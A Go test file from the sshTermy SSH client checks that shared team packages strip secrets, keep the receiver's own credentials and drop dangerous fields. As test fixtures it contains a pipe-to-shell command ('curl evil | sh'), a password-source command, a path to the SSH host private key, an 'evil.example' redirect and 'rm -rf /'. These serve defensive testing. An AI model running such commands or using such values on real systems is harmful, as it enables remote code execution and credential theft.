mirror of
https://github.com/db9979/sshtermy.git
synced 2026-12-06 12:44:08 +01:00
* Gefahrenregeln: alle Regelgruppen, zeilenweise, Lücken als root; Agent: root/Admin fragt, Standard Vorsichtig Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018i4GUjLxnD1qZgVKVc7UFm * Team-Abo: Schutz bleibt, Tunnel ohne Autostart, geänderte Runbooks/Schnellbefehle erst ansehen Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018i4GUjLxnD1qZgVKVc7UFm * Dialoge von selbst: eine Sekunde Tastensperre, warten statt ersetzen; MCP-Gefahr j zweimal Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018i4GUjLxnD1qZgVKVc7UFm * Zeitpläne: neue Hosts erst nach Bestätigung, Änderndes nicht stundenlang nachholen, Team-Runbooks erst ansehen Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018i4GUjLxnD1qZgVKVc7UFm * Switch-Shell: keine Tasten während sshTermy tippt, Esc bricht ab, Syslog-Einrichtung verwirft bei Fehler, nicht im Konfigurationsmodus Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018i4GUjLxnD1qZgVKVc7UFm * Broadcast und Zeitpläne: Probelauf auf einem Host, Stopp nach 3 Fehlern Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018i4GUjLxnD1qZgVKVc7UFm * trzsz: Dateien vom Server erst nach Rückfrage, nie überschreiben Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018i4GUjLxnD1qZgVKVc7UFm * Geheimnisse lesen fragt nach: Agent, Plan-Erkundung, MCP (auch sudo) Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018i4GUjLxnD1qZgVKVc7UFm * Doku: README DE/EN, Webseite, Kurzreferenz und Hilfe zu den Sicherungen Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018i4GUjLxnD1qZgVKVc7UFm * CI: Relay-Tests loggen nach Testende nicht mehr (Race), PowerShell erkennt offene Eingabe zusätzlich am Fehlercode Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018i4GUjLxnD1qZgVKVc7UFm --------- Co-authored-by: Claude <noreply@anthropic.com>
321 lines
12 KiB
Go
321 lines
12 KiB
Go
package team
|
|
|
|
import (
|
|
"context"
|
|
"io"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"path/filepath"
|
|
"strings"
|
|
"testing"
|
|
"time"
|
|
|
|
"github.com/db9979/sshtermy/internal/domain"
|
|
)
|
|
|
|
func sample() *domain.Data {
|
|
d := domain.NewData()
|
|
d.Connections = []domain.Connection{
|
|
{ID: "jump", Alias: "Bastion", Host: "bastion", Username: "db9", Auth: domain.AuthPassword, Password: "geheim1"},
|
|
{ID: "web", Alias: "Web", Host: "web1", Username: "db9", Auth: domain.AuthKeyFile, KeyPath: `C:\Users\db9\key`, KeyPassphrase: "passphrase-xyz",
|
|
JumpHostID: "jump", Group: "Prod", QuickCmds: []string{"uptime"},
|
|
Profile: &domain.SystemProfile{OS: "Ubuntu", Notes: "nie reboot", Failed: []string{"rm -rf /"}}},
|
|
{ID: "home", Alias: "NAS", Host: "nas", Username: "admin", Auth: domain.AuthKeyFile, KeyPEM: "-----BEGIN"},
|
|
}
|
|
d.Tunnels = []domain.Tunnel{{ID: "t1", ConnectionID: "web", Kind: domain.TunnelLocal, BindPort: 8080}, {ID: "t2", ConnectionID: "home"}}
|
|
d.Runbooks = []domain.Runbook{{ID: "r1", Name: "Logs", ConnectionID: "web", Uses: 9}, {ID: "r2", Name: "Allgemein"}, {ID: "r3", ConnectionID: "home"}}
|
|
d.LLM.APIKey = "sk-geheim"
|
|
return d
|
|
}
|
|
|
|
func TestRoundTripWithoutSecrets(t *testing.T) {
|
|
d := sample()
|
|
p, jumps := Build(d, []string{"web"}, "Dominik", Options{Runbooks: true, QuickCmds: true, Tunnels: true}, time.Now())
|
|
if len(jumps) != 1 || jumps[0] != "jump" || len(p.Connections) != 2 {
|
|
t.Fatalf("Jump-Host fehlt: %v %d", jumps, len(p.Connections))
|
|
}
|
|
raw, err := Seal(p, []byte("team-passwort"))
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
for _, bad := range []string{"geheim1", "passphrase-xyz", "sk-geheim", "BEGIN", "Dominik", "web1", `C:\\Users`, "rm -rf"} {
|
|
if strings.Contains(string(raw), bad) {
|
|
t.Fatalf("Klartext %q in der Datei", bad)
|
|
}
|
|
}
|
|
if _, err := Open(raw, []byte("falsch-falsch")); err != ErrWrongPass {
|
|
t.Fatalf("falsches Passwort: %v", err)
|
|
}
|
|
q, err := Open(raw, []byte("team-passwort"))
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
for _, c := range q.Connections {
|
|
if c.Password.IsSet() || c.KeyPEM.IsSet() || c.KeyPassphrase.IsSet() || c.KeyPath != "" || c.Username != "" {
|
|
t.Fatalf("persönliche Daten mitgegeben: %#v", c)
|
|
}
|
|
if c.ID == "web" && (len(c.QuickCmds) != 1 || c.Profile.Notes != "nie reboot" || len(c.Profile.Failed) != 0) {
|
|
t.Fatalf("web: %#v %#v", c, c.Profile)
|
|
}
|
|
}
|
|
if len(q.Tunnels) != 1 || len(q.Runbooks) != 2 || q.Runbooks[0].Uses != 0 || q.From != "Dominik" {
|
|
t.Fatalf("Tunnel/Runbooks: %+v", q)
|
|
}
|
|
if _, err := Seal(p, []byte("kurz")); err == nil {
|
|
t.Fatal("kurzes Passwort angenommen")
|
|
}
|
|
if len(Passphrase()) != 19 {
|
|
t.Fatal(Passphrase())
|
|
}
|
|
}
|
|
|
|
func TestApplyKeepsOwnCredentials(t *testing.T) {
|
|
p, _ := Build(sample(), []string{"web"}, "", Options{Runbooks: true, Tunnels: true, QuickCmds: true}, time.Now())
|
|
// Empfänger hat „web“ schon (früher übernommen) mit eigenem Passwort.
|
|
d := domain.NewData()
|
|
d.Connections = []domain.Connection{{ID: "web", Alias: "alt", Host: "alt", Username: "kollege", Auth: domain.AuthPassword, Password: "meins", Group: "Team / Prod", Order: 1}}
|
|
d.Deleted = map[string]time.Time{"jump": time.Now()}
|
|
st := Apply(d, p, nil, "Team", "kollege", time.Now())
|
|
if st.Added != 1 || st.Updated != 1 || st.Tunnels != 1 || st.Runbooks != 2 {
|
|
t.Fatalf("%+v", st)
|
|
}
|
|
// eigenes Passwort: neue Adresse erst nach Rückfrage
|
|
if len(st.AddrChanges) != 1 || st.AddrChanges[0].ID != "web" {
|
|
t.Fatalf("Adressänderung nicht gemeldet: %+v", st.AddrChanges)
|
|
}
|
|
AcceptAddr(d, st.AddrChanges, time.Now())
|
|
var web, jump domain.Connection
|
|
for _, c := range d.Connections {
|
|
switch c.ID {
|
|
case "web":
|
|
web = c
|
|
case "jump":
|
|
jump = c
|
|
}
|
|
}
|
|
if web.Password != "meins" || web.Username != "kollege" || web.Host != "web1" || web.Alias != "Web" || web.Group != "Team / Prod" || web.JumpHostID != "jump" {
|
|
t.Fatalf("web: %#v", web)
|
|
}
|
|
if jump.Username != "kollege" || jump.Group != "Team" || jump.Auth != domain.AuthPassword || jump.Password.IsSet() {
|
|
t.Fatalf("jump: %#v", jump)
|
|
}
|
|
if _, gone := d.Deleted["jump"]; gone {
|
|
t.Fatal("Grabstein bleibt, Sync würde den Eintrag wieder löschen")
|
|
}
|
|
if st.NeedPw != 1 {
|
|
t.Fatalf("NeedPw=%d", st.NeedPw)
|
|
}
|
|
// Nur gewählte übernehmen
|
|
d2 := domain.NewData()
|
|
st = Apply(d2, p, map[string]bool{"jump": true}, "", "", time.Now())
|
|
if st.Added != 1 || st.Tunnels != 0 || st.Runbooks != 1 {
|
|
t.Fatalf("Auswahl: %+v", st)
|
|
}
|
|
}
|
|
|
|
func TestLinkPublishPull(t *testing.T) {
|
|
now := time.Date(2026, 11, 6, 12, 0, 0, 0, time.UTC)
|
|
src := domain.NewData()
|
|
src.Connections = []domain.Connection{
|
|
{ID: "a", Alias: "web", Host: "10.0.0.1", Group: "Kunden / ACME", Password: "geheim", Auth: domain.AuthPassword},
|
|
{ID: "b", Alias: "db", Host: "10.0.0.2", Group: "Kunden / ACME / DB"},
|
|
{ID: "c", Alias: "privat", Host: "10.0.0.3", Group: "Privat"},
|
|
}
|
|
pub := domain.TeamLink{Role: domain.TeamPublish, Folder: "Kunden / ACME", TeamPass: "team-pass-123"}
|
|
p, sum1 := BuildLink(src, pub, now)
|
|
if len(p.Connections) != 2 {
|
|
t.Fatalf("Ordner: %d Verbindungen", len(p.Connections))
|
|
}
|
|
if p.Connections[0].Group != "ACME" || p.Connections[1].Group != "ACME / DB" {
|
|
t.Fatalf("Ordner relativ: %q %q", p.Connections[0].Group, p.Connections[1].Group)
|
|
}
|
|
if _, again := BuildLink(src, pub, now.Add(time.Hour)); again != sum1 {
|
|
t.Fatal("Prüfsumme hängt an der Uhrzeit")
|
|
}
|
|
dir := t.TempDir()
|
|
loc := filepath.Join(dir, "acme.sshteam")
|
|
raw, err := Seal(p, []byte(pub.TeamPass))
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := WriteLoc(context.Background(), loc, raw); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
dst := domain.NewData()
|
|
sub := domain.TeamLink{Role: domain.TeamSubscribe, Path: loc, Into: "Team", DefaultUser: "kollege"}
|
|
got, err := ReadLoc(context.Background(), loc)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
pk, err := Open(got, []byte("team-pass-123"))
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
st, have := Pull(dst, pk, sub, now)
|
|
if st.Added != 2 || len(have) != 2 || dst.Connections[0].Group != "Team / ACME" || dst.Connections[0].Username != "kollege" {
|
|
t.Fatalf("erste Übernahme: %+v %v %+v", st, have, dst.Connections)
|
|
}
|
|
sub.Have = have
|
|
|
|
// Absender löscht db, benennt web um, legt neue an
|
|
src.Connections = []domain.Connection{
|
|
{ID: "a", Alias: "web-neu", Host: "10.0.0.1", Group: "Kunden / ACME"},
|
|
{ID: "d", Alias: "mail", Host: "10.0.0.4", Group: "Kunden / ACME"},
|
|
}
|
|
p2, sum2 := BuildLink(src, pub, now)
|
|
if sum2 == sum1 {
|
|
t.Fatal("Änderung nicht erkannt")
|
|
}
|
|
st, have = Pull(dst, p2, sub, now)
|
|
if st.Added != 1 || st.Updated != 1 || st.Removed != 1 || len(have) != 2 {
|
|
t.Fatalf("zweite Übernahme: %+v %v", st, have)
|
|
}
|
|
if _, ok := dst.Deleted["b"]; !ok {
|
|
t.Fatal("kein Grabstein für die entfernte Verbindung")
|
|
}
|
|
for _, c := range dst.Connections {
|
|
if c.ID == "a" && (c.Alias != "web-neu" || c.Username != "kollege") {
|
|
t.Fatalf("Aktualisierung: %+v", c)
|
|
}
|
|
}
|
|
|
|
// Abgewählte Verbindung bleibt draußen und wird nicht gelöscht
|
|
sub.Have, sub.Skip = have, []string{"d"}
|
|
dst.Connections = append(dst.Connections, domain.Connection{ID: "x", Alias: "eigene"})
|
|
st, _ = Pull(dst, p2, sub, now)
|
|
if st.Removed != 0 || st.Updated != 1 {
|
|
t.Fatalf("mit Skip: %+v", st)
|
|
}
|
|
if len(dst.Connections) != 3 {
|
|
t.Fatalf("eigene Verbindung angefasst: %+v", dst.Connections)
|
|
}
|
|
if _, err := ReadLoc(context.Background(), filepath.Join(dir, "fehlt.sshteam")); err != ErrNotFound {
|
|
t.Fatalf("fehlende Datei: %v", err)
|
|
}
|
|
}
|
|
|
|
func TestLocHTTP(t *testing.T) {
|
|
var stored []byte
|
|
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
if u, p, ok := r.BasicAuth(); !ok || u != "nas" || p != "pw" {
|
|
w.WriteHeader(http.StatusUnauthorized)
|
|
return
|
|
}
|
|
switch r.Method {
|
|
case http.MethodPut:
|
|
stored, _ = io.ReadAll(r.Body)
|
|
w.WriteHeader(http.StatusCreated)
|
|
case http.MethodGet:
|
|
if stored == nil {
|
|
w.WriteHeader(http.StatusNotFound)
|
|
return
|
|
}
|
|
w.Write(stored)
|
|
}
|
|
}))
|
|
defer srv.Close()
|
|
loc := strings.Replace(srv.URL, "http://", "http://nas:pw@", 1) + "/team/acme.sshteam"
|
|
if ShowLoc(loc) != strings.Replace(srv.URL, "http://", "http://nas@", 1)+"/team/acme.sshteam" {
|
|
t.Fatalf("Passwort sichtbar: %s", ShowLoc(loc))
|
|
}
|
|
if _, err := ReadLoc(context.Background(), loc); err != ErrNotFound {
|
|
t.Fatalf("leer: %v", err)
|
|
}
|
|
if err := WriteLoc(context.Background(), loc, []byte("x")); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if b, err := ReadLoc(context.Background(), loc); err != nil || string(b) != "x" {
|
|
t.Fatalf("lesen: %q %v", b, err)
|
|
}
|
|
if _, err := ReadLoc(context.Background(), srv.URL+"/team/acme.sshteam"); err == nil {
|
|
t.Fatal("ohne Anmeldung gelesen")
|
|
}
|
|
}
|
|
|
|
func TestApplyDropsRiskyFields(t *testing.T) {
|
|
p := &Package{Connections: []domain.Connection{{ID: "x1", Alias: "web", Host: "h", Protocol: domain.ProtoLocal,
|
|
LocalShell: "sh -c 'curl evil | sh'", LocalDir: "/", PassSource: "cmd: curl evil", OTPSource: "op://T/web/otp",
|
|
ForwardAgent: true, ForwardX11: true, KeyPath: "/etc/ssh/ssh_host_ed25519_key", CertPath: "~/.ssh/id-cert.pub"}}}
|
|
d := &domain.Data{}
|
|
Apply(d, p, nil, "", "", time.Now())
|
|
c := d.Connections[0]
|
|
if c.LocalShell != "" || c.LocalDir != "" || c.PassSource != "" || c.ForwardAgent || c.ForwardX11 || c.KeyPath != "" {
|
|
t.Fatalf("riskante Felder übernommen: %+v", c)
|
|
}
|
|
if c.OTPSource != "op://T/web/otp" || c.CertPath != "~/.ssh/id-cert.pub" {
|
|
t.Fatalf("harmlose Felder verloren: %+v", c)
|
|
}
|
|
}
|
|
|
|
func TestApplyAsksBeforeMovingSecrets(t *testing.T) {
|
|
d := &domain.Data{Connections: []domain.Connection{
|
|
{ID: "a", Alias: "web", Host: "10.0.0.1", Port: 22, Password: "geheim"},
|
|
{ID: "b", Alias: "db", Host: "10.0.0.2", Port: 22},
|
|
}}
|
|
p := &Package{Connections: []domain.Connection{
|
|
{ID: "a", Alias: "web", Host: "evil.example", Port: 22},
|
|
{ID: "b", Alias: "db", Host: "10.0.0.3", Port: 2222},
|
|
}}
|
|
st := Apply(d, p, nil, "", "", time.Now())
|
|
if d.Connections[0].Host != "10.0.0.1" || len(st.AddrChanges) != 1 || st.AddrChanges[0].New != "evil.example" {
|
|
t.Fatalf("Adresse mit Passwort still geändert: %+v %+v", d.Connections[0], st.AddrChanges)
|
|
}
|
|
if d.Connections[1].Host != "10.0.0.3" || d.Connections[1].Port != 2222 {
|
|
t.Fatalf("ohne Zugangsdaten nicht übernommen: %+v", d.Connections[1])
|
|
}
|
|
AcceptAddr(d, st.AddrChanges, time.Now())
|
|
if d.Connections[0].Host != "evil.example" {
|
|
t.Fatal("AcceptAddr wirkt nicht")
|
|
}
|
|
}
|
|
|
|
// Sicherheitsprüfung 2026-11-10: ein Paket nimmt keinen Schutz weg, Tunnel
|
|
// starten nie von selbst, geänderte Befehle wollen angesehen werden.
|
|
func TestApplyKeepsGuards(t *testing.T) {
|
|
d := &domain.Data{
|
|
Connections: []domain.Connection{{ID: "sw", Alias: "core", Host: "10.0.0.2", Tags: []string{"prod"}, Device: domain.DeviceNetwork, QuickCmds: []string{"show vlan"}}},
|
|
Tunnels: []domain.Tunnel{{ID: "t1", ConnectionID: "sw", Kind: domain.TunnelLocal, BindHost: "127.0.0.1", BindPort: 8080, TargetHost: "localhost", TargetPort: 80, AutoStart: true}},
|
|
Runbooks: []domain.Runbook{{ID: "rb", Name: "Check", Steps: []string{"show log"}}, {ID: "rb2", Name: "Gleich", Steps: []string{"uptime"}}},
|
|
}
|
|
p := &Package{
|
|
Connections: []domain.Connection{{ID: "sw", Alias: "core", Host: "10.0.0.2", Tags: []string{"lab"}, Device: domain.DeviceServer, QuickCmds: []string{"reload"}}},
|
|
Tunnels: []domain.Tunnel{
|
|
{ID: "t1", ConnectionID: "sw", Kind: domain.TunnelLocal, BindHost: "127.0.0.1", BindPort: 8080, TargetHost: "localhost", TargetPort: 80},
|
|
{ID: "t2", ConnectionID: "sw", Kind: domain.TunnelRemote, BindPort: 3389, TargetHost: "192.168.1.10", TargetPort: 3389, AutoStart: true, AutoOpen: true},
|
|
},
|
|
Runbooks: []domain.Runbook{{ID: "rb", Name: "Check", Steps: []string{"show log", "write erase"}}, {ID: "rb2", Name: "Gleich", Steps: []string{"uptime"}}},
|
|
}
|
|
st := Apply(d, p, nil, "", "", time.Now())
|
|
c := d.Connections[0]
|
|
if !domain.IsProduction(c) || c.Device != domain.DeviceNetwork || st.KeptGuard != 2 {
|
|
t.Fatalf("Schutz verloren: %+v %+v", c, st)
|
|
}
|
|
if !c.QuickTeamChanged {
|
|
t.Error("geänderte Schnellbefehle nicht markiert")
|
|
}
|
|
for _, tu := range d.Tunnels {
|
|
switch tu.ID {
|
|
case "t1":
|
|
if !tu.AutoStart {
|
|
t.Error("eigener Autostart bei unverändertem Tunnel verloren")
|
|
}
|
|
case "t2":
|
|
if tu.AutoStart || tu.AutoOpen {
|
|
t.Error("Team-Tunnel startet von selbst")
|
|
}
|
|
}
|
|
}
|
|
for _, r := range d.Runbooks {
|
|
if r.ID == "rb" && !r.TeamChanged {
|
|
t.Error("geändertes Runbook nicht markiert")
|
|
}
|
|
if r.ID == "rb2" && r.TeamChanged {
|
|
t.Error("unverändertes Runbook markiert")
|
|
}
|
|
}
|
|
if st.Review != 2 {
|
|
t.Errorf("Review = %d", st.Review)
|
|
}
|
|
}
|